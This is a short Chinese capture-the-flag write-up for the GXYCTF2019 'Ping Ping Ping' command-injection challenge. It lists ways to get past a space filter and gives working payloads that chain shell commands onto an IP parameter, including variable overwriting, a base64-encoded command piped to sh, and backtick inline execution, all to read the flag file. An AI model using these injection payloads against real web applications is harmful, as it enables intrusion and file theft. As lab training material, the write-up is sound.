[GXYCTF2019]Ping Ping Ping

一般看到传入IP、,想到的就是命令执行了,直接看看

发现两个文件,用cat直接产看flag,提示过滤了空格

一般绕过空格有下列几种
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

提示过滤flag,看看index,后面发现$IFS显示不出来,${IFS},{又被搬了。最后$IFS$1成功显示,看到过滤了空格、bash、flag。

做到这一步就是想怎么把flag给绕过去,想的是加密,试了下没用,后面看师傅们的wp,有三种方法:
变量覆盖,源码中有个$a,payload:;a=g;cat$IFS$1fla$a.php

官方:过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
还有大佬:
内联执行的做法:
?ip=127.0.0.1;cat$IFS$9`ls`
内联,就是将反引号内命令的输出作为输入执行

网友评论